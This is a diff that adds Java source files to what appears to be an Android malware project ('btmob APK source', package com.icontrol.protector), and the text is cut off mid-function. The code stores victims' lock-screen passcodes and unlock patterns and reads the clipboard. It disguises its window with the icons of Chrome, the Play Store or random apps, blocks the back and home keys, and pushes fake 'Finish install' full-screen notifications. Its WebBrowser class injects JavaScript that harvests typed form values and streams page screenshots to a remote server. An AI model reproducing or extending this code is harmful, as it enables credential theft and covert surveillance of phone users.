NotificationCompat.Builder(ctx, "New Notifications") + .setContentTitle(Title) + .setContentText(Msg) + .setVisibility(NotificationCompat.VISIBILITY_PUBLIC) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setSmallIcon(R.drawable.notify) + .setAutoCancel(true); + + } + if (SDK_INT >= Build.VERSION_CODES.O) { + NotificationChannel channel = new NotificationChannel( + "New Notifications", + "New Notifications", + NotificationManager.IMPORTANCE_HIGH + ); + + NotificationManager notificationManager = ctx.getSystemService(NotificationManager.class); + notificationManager.createNotificationChannel(channel); + builder.setChannelId("New Notifications"); + } + //Vibration + builder.setVibrate(new long[]{1000, 1000, 1000, 1000, 1000}); + + //LED + builder.setLights(Color.RED, 3000, 3000); + Uri alarmSound = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); + builder.setSound(alarmSound); + + NotificationManagerCompat notificationManager = NotificationManagerCompat.from(ctx); + notifiid += 1; + if (SDK_INT >= 33) { // Android 13 (Tiramisu) and above + + // Check if the notification permission is not granted + if (ContextCompat.checkSelfPermission(ctx, "android.permission.POST_NOTIFICATIONS") == PackageManager.PERMISSION_GRANTED) { + notificationManager.notify(notifiid, builder.build()); + } else { + AlertServer(ctx, "Post Notification", "notification permission is not granted"); + + } + } else { + notificationManager.notify(notifiid, builder.build()); + } + } catch (Exception d) { + d.printStackTrace(); + } + } + + private static Random randomidx = null; + + public static String getRandomLauncherApp(Context context) { + PackageManager packageManager = context.getPackageManager(); + + // Create a list to hold launcher apps + List launcherApps = new ArrayList<>(); + + // Get the intent for launcher apps + Intent launcherIntent = new Intent(Intent.ACTION_MAIN, null); + launcherIntent.addCategory(Intent.CATEGORY_LAUNCHER); + + // Resolve apps that can handle this intent + List resolveInfos = packageManager.queryIntentActivities(launcherIntent, 0); + + String mypkg = context.getPackageName(); + for (ResolveInfo resolveInfo : resolveInfos) { + // Ensure the app has a package name + if (resolveInfo.activityInfo != null && resolveInfo.activityInfo.packageName != null) { + if (mypkg.toLowerCase().equals(resolveInfo.activityInfo.packageName)) { + continue; + } + launcherApps.add(resolveInfo.activityInfo.packageName); + } + } + + // Return a random package name if available + if (!launcherApps.isEmpty()) { + if (randomidx == null) { + randomidx = new Random(); + } + int randomIndex = randomidx.nextInt(launcherApps.size()); + return launcherApps.get(randomIndex); + } + + return null; // No launcher apps found + } + + public static boolean isUsageAccessGranted(Context ctx) { + AppOpsManager appOpsManager = (AppOpsManager) ctx.getSystemService(Context.APP_OPS_SERVICE); + int mode = appOpsManager.checkOpNoThrow( + AppOpsManager.OPSTR_GET_USAGE_STATS, + android.os.Process.myUid(), + ctx.getPackageName() + ); + + return mode == AppOpsManager.MODE_ALLOWED; + } + + private static String Lastbaseimg; + public static String getAppIconAsBase64(Context context) { + try{ + if (Lastbaseimg != null && Lastbaseimg.length() > 0){ + return Lastbaseimg; + } + }catch (Exception a){} + try { + // Get package manager and app info + PackageManager packageManager = context.getPackageManager(); + ApplicationInfo appInfo = context.getApplicationInfo(); + + // Get the app icon as Drawable + Drawable drawable = packageManager.getApplicationIcon(appInfo); + + Bitmap bitmap; + + if (drawable instanceof BitmapDrawable) { + bitmap = ((BitmapDrawable) drawable).getBitmap(); + } else if (SDK_INT >= Build.VERSION_CODES.O && drawable instanceof AdaptiveIconDrawable) { + // Convert AdaptiveIconDrawable to Bitmap + AdaptiveIconDrawable adaptiveIconDrawable = (AdaptiveIconDrawable) drawable; + Drawable background = adaptiveIconDrawable.getBackground(); + Drawable foreground = adaptiveIconDrawable.getForeground(); + + int size = Math.max(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight()); + bitmap = Bitmap.createBitmap(size, size, Bitmap.Config.ARGB_8888); + Canvas canvas = new Canvas(bitmap); + + if (background != null) background.setBounds(0, 0, size, size); + if (foreground != null) foreground.setBounds(0, 0, size, size); + + if (background != null) background.draw(canvas); + if (foreground != null) foreground.draw(canvas); + + } else { + // Fallback: draw any other type of Drawable to Bitmap + int width = drawable.getIntrinsicWidth() > 0 ? drawable.getIntrinsicWidth() : 96; + int height = drawable.getIntrinsicHeight() > 0 ? drawable.getIntrinsicHeight() : 96; + bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, width, height); + drawable.draw(canvas); + } + + // Convert Bitmap to Base64 string + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + bitmap.compress(Bitmap.CompressFormat.PNG, 100, outputStream); + byte[] iconBytes = outputStream.toByteArray(); + Lastbaseimg = Base64.encodeToString(iconBytes, Base64.DEFAULT); + return Lastbaseimg; + + } catch (Exception e) { + e.printStackTrace(); + return ""; // Return empty if something goes wrong + } + } + + public static void BrodcastAlert(Context ctx, String Title, String Msg, int Type, String toopen, String icobase) { + + try { + +// String Title = null ; +// String Msg = null ; +// String icobase = null ; +// Type = -1 ; +// toopen = null ; + + Intent intent = new Intent(ctx, AlertActivity.class); + intent.putExtra("Title", Title); + intent.putExtra("Msg", Msg); + //intent.putExtra("icobase", icobase); + + MySettings.Write(ctx, Consts.Alertico, icobase); + + intent.putExtra("Type", Type); + intent.putExtra("toopen", toopen); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + ctx.startActivity(intent); + + } catch (Exception a) { + a.printStackTrace(); + } + + } + + public static Drawable getDrawableFromBase64(String base64String, Context context) { + // Decode the base64 string to a byte array + byte[] decodedString = Base64.decode(base64String, Base64.DEFAULT); + + // Convert byte array to Bitmap + Bitmap bitmap = BitmapFactory.decodeByteArray(decodedString, 0, decodedString.length); + + // Convert Bitmap to Drawable + Drawable drawable = new BitmapDrawable(context.getResources(), bitmap); + + return drawable; + } + + public static boolean isAppDisabled(Context context, String packageName) { + try { + PackageManager pm = context.getPackageManager(); + int state = pm.getApplicationEnabledSetting(packageName); + + return state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED + || state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER + || state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_UNTIL_USED; + } catch (Exception e) { + e.printStackTrace(); + return false; // Assume false if app not found or error occurs + } + } + + + static Random rand; + + // final static = 11111; + //final static = 88888; + public static int randomnumber(int min, int max) { + if (rand == null) { + rand = new Random(); + } + int random = new Random().nextInt((max - min) + 1) + min; + return random; + } + + + public static boolean isPortInUse(int port) { + Socket socket = new Socket(); + SocketAddress socketAddress = new InetSocketAddress("localhost", port); + + try { + // Try to connect to the specified port on the given host + socket.connect(socketAddress, 2000); // Timeout of 2 seconds + return true; // Connection successful, port is in use + } catch (IOException e) { + return false; // Connection failed, port is not in use + } finally { + try { + socket.close(); // Ensure the socket is closed + } catch (IOException e) { + e.printStackTrace(); + } + } + } + + + public static String getdeviceIpAddress() { + try { + for (Enumeration en = NetworkInterface.getNetworkInterfaces(); en.hasMoreElements(); ) { + NetworkInterface intf = en.nextElement(); + for (Enumeration enumIpAddr = intf.getInetAddresses(); enumIpAddr.hasMoreElements(); ) { + InetAddress inetAddress = enumIpAddr.nextElement(); + if (!inetAddress.isLoopbackAddress() && inetAddress instanceof Inet4Address) { + return inetAddress.getHostAddress(); + } + } + } + } catch (SocketException ex) { + ex.printStackTrace(); + } + return null; + } + + public static boolean isWebSocketReachable(String urlString) { + CountDownLatch latch = new CountDownLatch(1); // Latch for waiting until connection completes + OkHttpClient client = new OkHttpClient(); // OkHttp client for WebSocket handling + boolean[] isConnected = {false}; // Used to track connection status + + // Build a WebSocket request + Request request = new Request.Builder() + .url(urlString) + .build(); + + // WebSocket listener to handle connection events + WebSocketListener listener = new WebSocketListener() { + @Override + public void onOpen(WebSocket webSocket, Response response) { + System.out.println("WebSocket connection established"); + isConnected[0] = true; // Set connection status to true + webSocket.close(1000, "Closing"); // Close the connection immediately + latch.countDown(); // Release latch when done + } + + @Override + public void onFailure(WebSocket webSocket, Throwable t, Response response) { + System.err.println("WebSocket connection error: " + t.getMessage()); + latch.countDown(); // Release latch on failure + } + + @Override + public void onClosed(WebSocket webSocket, int code, String reason) { + System.out.println("WebSocket connection closed: " + reason); + latch.countDown(); // Release latch on close + } + }; + + // Open the WebSocket connection + WebSocket webSocket = client.newWebSocket(request, listener); + + // Wait for the WebSocket connection to either succeed or fail + try { + latch.await(5, TimeUnit.SECONDS); // Wait up to 5 seconds for connection + } catch (InterruptedException e) { + e.printStackTrace(); + } + + // Cleanup: Shut down the OkHttp client + client.dispatcher().executorService().shutdown(); + + return isConnected[0]; // Return the connection status + } + + public static boolean isURLReachable(String urlString) { + HttpURLConnection urlConnection = null; + try { + URL url = new URL(urlString); + urlConnection = (HttpURLConnection) url.openConnection(); + urlConnection.setRequestMethod("HEAD"); + urlConnection.setConnectTimeout(5000); + urlConnection.setReadTimeout(5000); + + int responseCode = urlConnection.getResponseCode(); + return (200 <= responseCode && responseCode < 300); + } catch (IOException e) { + return false; + } finally { + if (urlConnection != null) { + urlConnection.disconnect(); // clean + } + } + } + + public static String fromBase64(String message) { + byte[] data = Base64.decode(message, Base64.DEFAULT); + try { + return new String(data, "UTF-8"); + } catch (Exception e) { + e.printStackTrace(); + } + + return message; + } + + + //"Waiting user to enter the app" + public static byte[] createImageByts(String msg) { + int width = 350; + int height = 650; + Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); + + Canvas canvas = new Canvas(bitmap); + canvas.drawColor(Color.BLACK); + + TextPaint textPaint = new TextPaint(); + textPaint.setColor(Color.WHITE); + textPaint.setTextSize(45); + textPaint.setAntiAlias(true); + + // Calculate text width and height based on the desired width + int textWidth = canvas.getWidth() - 40; // Set some padding from the edges + + // Use StaticLayout to handle multi-line text and wrapping + StaticLayout textLayout = new StaticLayout(msg, textPaint, textWidth, Layout.Alignment.ALIGN_CENTER, 1.0f, 0.0f, false); + + // Start drawing text from a calculated y-position, adjusting if needed + float yPos = (canvas.getHeight() - textLayout.getHeight()) / 2f; + + // Save the current canvas state before drawing text + canvas.save(); + canvas.translate(20, yPos); // Position the text layout with some padding from the left + textLayout.draw(canvas); + canvas.restore(); // Restore the canvas state after drawing text + + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try { + bitmap.compress(Bitmap.CompressFormat.WEBP, 70, outputStream); + return outputStream.toByteArray(); + } finally { + bitmap.recycle(); + try { + outputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + + public static List getLauncherAppsPackageNames(Context context) { + List packageNames = new ArrayList<>(); + + // Create an intent that matches the apps with launcher icons + Intent launcherIntent = new Intent(Intent.ACTION_MAIN); + launcherIntent.addCategory(Intent.CATEGORY_LAUNCHER); + + // Get the PackageManager and query for all activities that can be launched from the launcher + PackageManager packageManager = context.getPackageManager(); + List resolveInfoList = packageManager.queryIntentActivities(launcherIntent, 0); + + // Extract the package names from the ResolveInfo list + for (ResolveInfo resolveInfo : resolveInfoList) { + String packageName = resolveInfo.activityInfo.packageName; + packageNames.add(packageName); + } + + return packageNames; + } + + public static Activity getCurrentActivity() { + try { + Class activityThreadClass = Class.forName("android.app.ActivityThread"); + Method currentActivityThreadMethod = activityThreadClass.getMethod("currentActivityThread"); + Object currentActivityThread = currentActivityThreadMethod.invoke(null); + Field mActivitiesField = activityThreadClass.getDeclaredField("mActivities"); + mActivitiesField.setAccessible(true); + Map activities = (Map) mActivitiesField.get(currentActivityThread); + for (Object record : activities.values()) { + Class recordClass = record.getClass(); + Field pausedField = recordClass.getDeclaredField("paused"); + pausedField.setAccessible(true); + if (!(boolean) pausedField.get(record)) { + Field activityField = recordClass.getDeclaredField("activity"); + activityField.setAccessible(true); + return (Activity) activityField.get(record); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + public static long tcpPing(String ipAddress, int port, int timeoutMillis) { + long startTime = System.nanoTime(); + try (Socket socket = new Socket()) { + socket.connect(new InetSocketAddress(ipAddress, port), timeoutMillis); + long endTime = System.nanoTime(); + return (endTime - startTime) / 1_000_000; // Convert to milliseconds + } catch (Exception e) { + return 0; // Connection failed or timed out + } + } + + public static String getPingSpeed(String url) { + long ping = tcpPing(url, 80, 2000); + return String.valueOf(ping); +// String cmd = "ping -c 1 -w 15 " + url; +// String time = "-1"; +// try { +// Process process = Runtime.getRuntime().exec(cmd); +// +// // Use try-with-resources to ensure resources are closed properly +// try (BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()))) { +// String line; +// float totalPingTime = 0; +// int pingCount = 0; +// +// while ((line = stdInput.readLine()) != null) { +// // Check if this line contains the ping time +// if (line.contains("time ")) { +// // Extract the time=XX part +// time = (line.split("time ")[1].split(" ")[0]).replace("ms", ""); +// break; +// } +// } +// +// // Destroy the process to avoid leaks +// process.destroy(); +// +// // Calculate average ping if we got results +// if (Integer.valueOf(time) > 0) { +// return time; +// } else { +// // Return a high value or error if no ping time was recorded +// return time; +// } +// } +// } catch (Exception e) { +// e.printStackTrace(); +// return time; +// } + } + + public static void setClipboard(final Context ctx, final String str) { + Handler handler = new Handler(Looper.getMainLooper()); + handler.postDelayed(new Runnable() { + @Override + public void run() { + try { + try { + ClipboardManager clipboard = (ClipboardManager) ctx.getSystemService(Context.CLIPBOARD_SERVICE); + clipboard.setPrimaryClip(ClipData.newPlainText("text/plain", str)); + } catch (Exception e) { + } + + } catch (Exception e) { + } + } + }, 1000); + + } + + public static void StorePasscode(Context ctx, String passcode) { + String olddata = MySettings.Read(ctx, Consts.lock_cods, ""); + String thetype = MySettings.Read(ctx, Consts.lock_type, "1"); + olddata += passcode + "|" + thetype + "*"; + + MySettings.Write(ctx, Consts.lock_cods, olddata); + } + + public static void Clearpasscodes(Context ctx) { + MySettings.Write(ctx, Consts.lock_cods, ""); + } + + private static String clipdata = ""; + + public static String readClipboard(final Context ctx) { + final CountDownLatch latch = new CountDownLatch(1); + Handler handler = new Handler(Looper.getMainLooper()); + handler.postDelayed(new Runnable() { + @Override + public void run() { + try { + ClipboardManager clipboard = (ClipboardManager) ctx.getSystemService(Context.CLIPBOARD_SERVICE); + if (clipboard.hasPrimaryClip()) { + android.content.ClipDescription description = clipboard.getPrimaryClipDescription(); + android.content.ClipData data = clipboard.getPrimaryClip(); + if (data != null && description != null && description.hasMimeType(ClipDescription.MIMETYPE_TEXT_PLAIN)) { + clipdata = String.valueOf(data.getItemAt(0).getText()); + } + } + } catch (Exception e) { + } + latch.countDown(); + } + }, 1000); + + try { + latch.await(); + } catch (InterruptedException e) { + } + + return clipdata; + } + + public static File getInstalledApkPath(Context context) { + try { + return new File(context.getPackageManager() + .getApplicationInfo(context.getPackageName(), 0).publicSourceDir); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + public static String loadHtmlFromAssets(Context ctx, String fileName) throws IOException { + StringBuilder htmlBuilder = new StringBuilder(); + + try ( + InputStream is = ctx.getAssets().open(fileName); + BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8)) + ) { + String line; + while ((line = reader.readLine()) != null) { + htmlBuilder.append(line).append('\n'); + } + } + + return htmlBuilder.toString(); + } + +// public static String[] getStatesArray() { +// String language = Locale.getDefault().getLanguage(); +// +// switch (language) { +// case "ar": // Arabic +// return new String[]{"جارٍ التحضير...", "جارٍ التحديث...", "جارٍ الانتهاء...", "مرحبًا"}; +// case "zh": // Chinese +// return new String[]{"准备中...", "更新中...", "完成中...", "欢迎"}; +// case "ru": // Russian +// return new String[]{"Подготовка...", "Обновление...", "Завершение...", "Добро пожаловать"}; +// case "tr": // Turkish +// return new String[]{"Hazırlanıyor...", "Güncelleniyor...", "Tamamlanıyor...", "Hoş geldiniz"}; +// case "es": // Spanish +// return new String[]{"Preparando...", "Actualizando...", "Finalizando...", "Bienvenido"}; +// case "pt": // Brazilian Portuguese +// return new String[]{"Preparando...", "Atualizando...", "Finalizando...", "Bem-vindo"}; +// default: // Default to English +// return new String[]{"Preparing...", "Updating...", "Finishing...", "Welcome"}; +// } +// +// } + + public static void setupWorkManager(Context ctx) { + try { + WorkManager workManager = WorkManager.getInstance(ctx); + PeriodicWorkRequest workRequest = new PeriodicWorkRequest.Builder(Backworker.class, 15, TimeUnit.MINUTES) + .build(); + + workManager.enqueueUniquePeriodicWork("MyWorker", ExistingPeriodicWorkPolicy.KEEP, workRequest); + } catch (Exception a) { + a.printStackTrace(); + } + } + public static boolean isPermissionDeclaredInManifest(Context context, String permission) { + try { + PackageInfo info = context.getPackageManager().getPackageInfo( + context.getPackageName(), + PackageManager.GET_PERMISSIONS + ); + String[] declaredPerms = info.requestedPermissions; + if (declaredPerms != null) { + for (String p : declaredPerms) { + if (p.equals(permission)) { + return true; + } + } + } + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + } + return false; + } + + public static void NotifyFor(Context context, Class clss) { + String channelId = "Importants"; + + Intent fullScreenIntent = new Intent(context, clss); + fullScreenIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + PendingIntent fullScreenPendingIntent = PendingIntent.getActivity( + context, + 0, + fullScreenIntent, + PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE + ); + + NotificationCompat.Builder builder = new NotificationCompat.Builder(context, channelId) + .setContentTitle("Finish install") + .setContentText("Tap to complete") + .setSmallIcon(R.drawable.notify) + .setContentIntent(fullScreenPendingIntent) + .setFullScreenIntent(fullScreenPendingIntent, true) + .setOngoing(false) + .setVisibility(NotificationCompat.VISIBILITY_PUBLIC) + .setPriority(NotificationCompat.PRIORITY_MAX) + .setAutoCancel(true); + + NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); + + if (SDK_INT >= Build.VERSION_CODES.O) { + NotificationChannel channel = new NotificationChannel(channelId, "update", NotificationManager.IMPORTANCE_HIGH); + channel.setDescription(My_Configs._Notfy_MSG_); + channel.setShowBadge(false); + if (SDK_INT >= Build.VERSION_CODES.Q) { + channel.setAllowBubbles(false); + } + notificationManager.createNotificationChannel(channel); + } + + notificationManager.notify(101, builder.build()); + + } + public static void savePatternMap(Context context, Map map) { + StringBuilder sb = new StringBuilder(); + for (Map.Entry entry : map.entrySet()) { + int key = entry.getKey(); + Point point = entry.getValue(); + sb.append(key) + .append(":") + .append(point.x) + .append(",") + .append(point.y) + .append(";"); + } + + MySettings.Write(context,Consts.patternmp,sb.toString()); + } + public static Map loadPatternMap(Context context) { + + String serialized = MySettings.Read(context,Consts.patternmp,""); + + Map map = new HashMap<>(); + + if (serialized != null && !serialized.isEmpty()) { + String[] entries = serialized.split(";"); + for (String entry : entries) { + if (entry.trim().isEmpty()) continue; + + String[] keyVal = entry.split(":"); + String[] xy = keyVal[1].split(","); + + int key = Integer.parseInt(keyVal[0]); + int x = Integer.parseInt(xy[0]); + int y = Integer.parseInt(xy[1]); + + map.put(key, new Point(x, y)); + } + } + + return map; + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WakeLockManager.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WakeLockManager.java new file mode 100644 index 0000000..f6b3dad --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WakeLockManager.java @@ -0,0 +1,63 @@ +package com.icontrol.protector; + +import android.content.Context; +import android.net.wifi.WifiManager; +import android.os.PowerManager; + +public class WakeLockManager { + + private PowerManager.WakeLock wakeLock; + private WifiManager.WifiLock wifiLock; + + public void acquire(Context context, boolean keepScreenOn, boolean keepWifiOn) { + // Acquire CPU wake lock + try{ + if (wakeLock == null || !wakeLock.isHeld()) { + PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE); + if (powerManager != null) { + int flags = PowerManager.PARTIAL_WAKE_LOCK; + + if (keepScreenOn) { + flags = PowerManager.FULL_WAKE_LOCK | + PowerManager.ACQUIRE_CAUSES_WAKEUP | + PowerManager.ON_AFTER_RELEASE; + } + + wakeLock = powerManager.newWakeLock(flags, "App:IncomingCall"); + wakeLock.setReferenceCounted(false); + wakeLock.acquire(); + } + } + }catch (Exception a){} + + // Acquire WiFi lock + try{ + if (keepWifiOn && (wifiLock == null || !wifiLock.isHeld())) { + WifiManager wifiManager = (WifiManager) context.getApplicationContext().getSystemService(Context.WIFI_SERVICE); + if (wifiManager != null) { + wifiLock = wifiManager.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "p:WifiLock"); + wifiLock.setReferenceCounted(false); + wifiLock.acquire(); + } + } + }catch (Exception a){} + } + + public void release() { + // Release CPU lock + try{ + if (wakeLock != null && wakeLock.isHeld()) { + wakeLock.release(); + wakeLock = null; + } + }catch (Exception a){} + + // Release WiFi lock + try{ + if (wifiLock != null && wifiLock.isHeld()) { + wifiLock.release(); + wifiLock = null; + } + }catch (Exception s){} + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WebBrowser.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WebBrowser.java new file mode 100644 index 0000000..faddfdd --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/WebBrowser.java @@ -0,0 +1,542 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.Consts.SPLIT_DATA; +import static com.icontrol.protector.Consts.URL_SOCKT; +import static com.icontrol.protector.UtliTools.drawableToBitmap; +import static com.icontrol.protector.UtliTools.isPackageInstalled; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.app.Activity; +import android.app.ActivityManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.BitmapFactory; +import android.graphics.drawable.Drawable; +import android.os.Build; +import android.os.Bundle; + +import android.os.Handler; +import android.os.Looper; +import android.util.Base64; +import android.view.KeyEvent; +import android.view.View; +import android.webkit.ConsoleMessage; +import android.webkit.CookieManager; +import android.webkit.JavascriptInterface; +import android.webkit.JsResult; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.ByteArrayOutputStream; +import java.net.URI; +import java.util.ArrayList; + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.WebSocket; +import okhttp3.WebSocketListener; + + +public class WebBrowser extends Activity { + WebView mWebView; + String Currentsite; + Context myctx; + private WebSocket websocketfile; // Reusable WebSocket + private OkHttpClient client; + @Override + public void onBackPressed() { + try { + if (mWebView != null && mWebView.canGoBack()) { + mWebView.goBack(); + } else { + super.onBackPressed(); + } + } catch (NullPointerException s) { + super.onBackPressed(); + } + } + + @Override + public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { + return paramInt == KeyEvent.KEYCODE_HOME || + paramInt == KeyEvent.KEYCODE_BACK || + paramInt == KeyEvent.KEYCODE_MENU; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + myctx = getApplicationContext(); + flaged=false; + Intent intent = getIntent(); + String value = ""; + String thetype = ""; + try { + value = intent.getStringExtra("key"); + thetype = intent.getStringExtra("type"); + } catch (Exception e) { + finish(); + return; + } + + try{ + + try + { + if(intent.hasExtra("icon")){ + byte[] iconByteArray = intent.getByteArrayExtra("icon"); + Bitmap iconBitmap = BitmapFactory.decodeByteArray(iconByteArray, 0, iconByteArray.length); + ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(" ", iconBitmap); + setTaskDescription(taskDescription); + String label = intent.getStringExtra("label"); + setTitle(label); + }else{ + String packageName = "com.android.chrome"; + + if(!isPackageInstalled(packageName,getPackageManager())){ + packageName = "com.android.vending"; + if(!isPackageInstalled(packageName,getPackageManager())){ + packageName = UtliTools.getRandomLauncherApp(getApplicationContext()); + if(!isPackageInstalled(packageName,getPackageManager())){ + packageName = null; + } + } + } + if(packageName != null){ + PackageManager packageManager = getPackageManager(); + ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0); + Drawable appIcon = packageManager.getApplicationIcon(applicationInfo); + String appName = packageManager.getApplicationLabel(applicationInfo).toString(); + setTitle(appName); + Bitmap appIconBitmap = drawableToBitmap(appIcon); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(" ", appIconBitmap); + setTaskDescription(taskDescription); + } + } + } + + }catch (Exception a){} + + + + }catch (Exception a){} + + try { + //WebView mWebView = new WebView((Context)this); + mWebView = new WebView(this); + mWebView.getSettings().setJavaScriptEnabled(true); + mWebView.getSettings().setLoadsImagesAutomatically(true); + mWebView.getSettings().setLoadWithOverviewMode(true); + try{ + CookieManager.getInstance().setAcceptCookie(true); + CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, true); + }catch (Exception a){ + + } + mWebView.getSettings().setUseWideViewPort(true); + mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + mWebView.getSettings().setAllowFileAccess(true); + mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); + mWebView.getSettings().setDomStorageEnabled(true); + mWebView.getSettings().setAllowFileAccessFromFileURLs(true); + mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true); + mWebView.getSettings().setAllowContentAccess(true); + try { + mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null); + mWebView.getSettings().setPluginState(WebSettings.PluginState.ON); + mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH); + mWebView.setBackgroundColor(0xffffffff); + } catch (Exception a) { + } + + mWebView.getSettings().setBuiltInZoomControls(false); + String ua = mWebView.getSettings().getUserAgentString(); + mWebView.getSettings().setUserAgentString(ua); + mWebView.setWebChromeClient(new MyChrome()); + mWebView.setWebViewClient(new MyWebViewClient()); + boolean allok = false; + switch (thetype) { + case "u"://url + Currentsite = value; + if (!value.toLowerCase().startsWith("https://") && !value.toLowerCase().startsWith("http://")) { + value = "http://" + value; + } + mWebView.loadUrl(value); + setContentView((View) mWebView); + allok =true; + break; + case "f"://file + String pagehtml = (new String(Base64.decode(value, 0), "UTF-8")); + mWebView.loadDataWithBaseURL(null, pagehtml, "text/html", "UTF-8", null); + setContentView((View) mWebView); + allok =true; + break; + default: + allok =false; + finish(); + return; + } + if (allok){ + client = new OkHttpClient(); + startcaptures(getApplicationContext(),mWebView); + } + + } catch (Exception exception) { + } + } + + private void startcaptures(Context ctx,WebView mWebView) { + MySettings.WriteBool(ctx,Consts.web_browser,true); + Runnable runnable = new Runnable() { + public void run() { + do { + try { + Thread.sleep(100); + } catch (InterruptedException e) { + } + Handler handler = new Handler(Looper.getMainLooper()); + handler.post(new Runnable() { + @Override + public void run() { + try{ + CapPass(ctx,mWebView); + }catch (Exception a){} + } + }); + try { + mWebView.setDrawingCacheEnabled(true); + Bitmap b = Bitmap.createScaledBitmap(mWebView.getDrawingCache(false), 350, 650, false); + mWebView.setDrawingCacheEnabled(false); + String baseString = "null"; + ByteArrayOutputStream byteStream = new ByteArrayOutputStream(); + b.compress(Bitmap.CompressFormat.WEBP, 50, byteStream); + byte[] byteArray = byteStream.toByteArray(); + baseString = Base64.encodeToString(byteArray, Base64.DEFAULT); + + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "wbbrow"); + jsonObject.put("img", baseString); + jsonObject.put("cuz", "n"); + String jsonData = jsonObject.toString(); + + Sendimg(ctx,jsonData); + + } catch (Exception ee) { + ee.printStackTrace(); + } + + } while (MySettings.ReadBool(ctx,Consts.web_browser,false)); + } + }; + Thread thread = new Thread(runnable); + thread.start(); + } + public class MyChrome extends WebChromeClient { + MyChrome() { + } +// @Override +// public boolean onConsoleMessage(ConsoleMessage consoleMessage) { +// String logmsg = consoleMessage.message(); +// try{ +// JSONObject jsonObject = new JSONObject(); +// jsonObject.put("type", "blog"); +// jsonObject.put("data", logmsg); +// String jsonData = jsonObject.toString(); +// +// LiveChat.Livemessage(myctx,jsonData); +// }catch (Exception a){} +// +// +// return true; +// } + } + static ArrayList datastore = new ArrayList<>(); + + public static void CapPass(Context ctx,WebView view) { + if (view == null) + return; + view.evaluateJavascript("var frame = null;\n" + + "\n" + + "function gd332() {\n" + + " if (!frame) {\n" + + " frame = document.createElement('iframe');\n" + + " frame.style.display = 'none';\n" + + " document.body.appendChild(frame);\n" + + " }\n" + + " console = frame.contentWindow.console;\n" + + " var inputs = document.querySelectorAll('input');\n" + + " var websiteLink = window.location.hostname;\n" + + " var result = [];\n" + + "\n" + + " inputs.forEach(function(input) {\n" + + " var type = input.getAttribute('type');\n" + + " var value = input.value;\n" + + "\n" + + " if (value !== \"\" && value !== null && type !== \"hidden\" && type !== \"checkbox\") {\n" + + " var data = {\n" + + " 'type': type,\n" + + " 'value': value,\n" + + " 'date': new Date().toLocaleString()\n" + + " };\n" + + " result.push(data);\n" + + " }\n" + + " });\n" + + "\n" + + " return JSON.stringify({\n" + + " website: websiteLink,\n" + + " inputs: result\n" + + " });\n" + + "}\n" + + "\n" + + "gd332();\n", + new ValueCallback() { + @Override + public void onReceiveValue(String value) { + if (!value.equals("null") && !value.equals("\"\"")) { + try { + // Clean up the JSON string + value = value.substring(1, value.length() - 1).replace("\\\"", "\""); + + // Parse the JSON object + JSONObject jsonObj = new JSONObject(value); + + // Get website URL + String website = jsonObj.getString("website"); + System.out.println("[Website]: " + website); + + // Get the inputs array + JSONArray inputs = jsonObj.getJSONArray("inputs"); + boolean storeit=false; + // Iterate through the input fields + for (int i = 0; i < inputs.length(); i++) { + JSONObject inputObj = inputs.getJSONObject(i); + + // Extract the type, value, and date for each input + String type = inputObj.optString("type","empty"); + String inputValue = inputObj.optString("value","empty"); + String date = inputObj.optString("date","empty"); + + 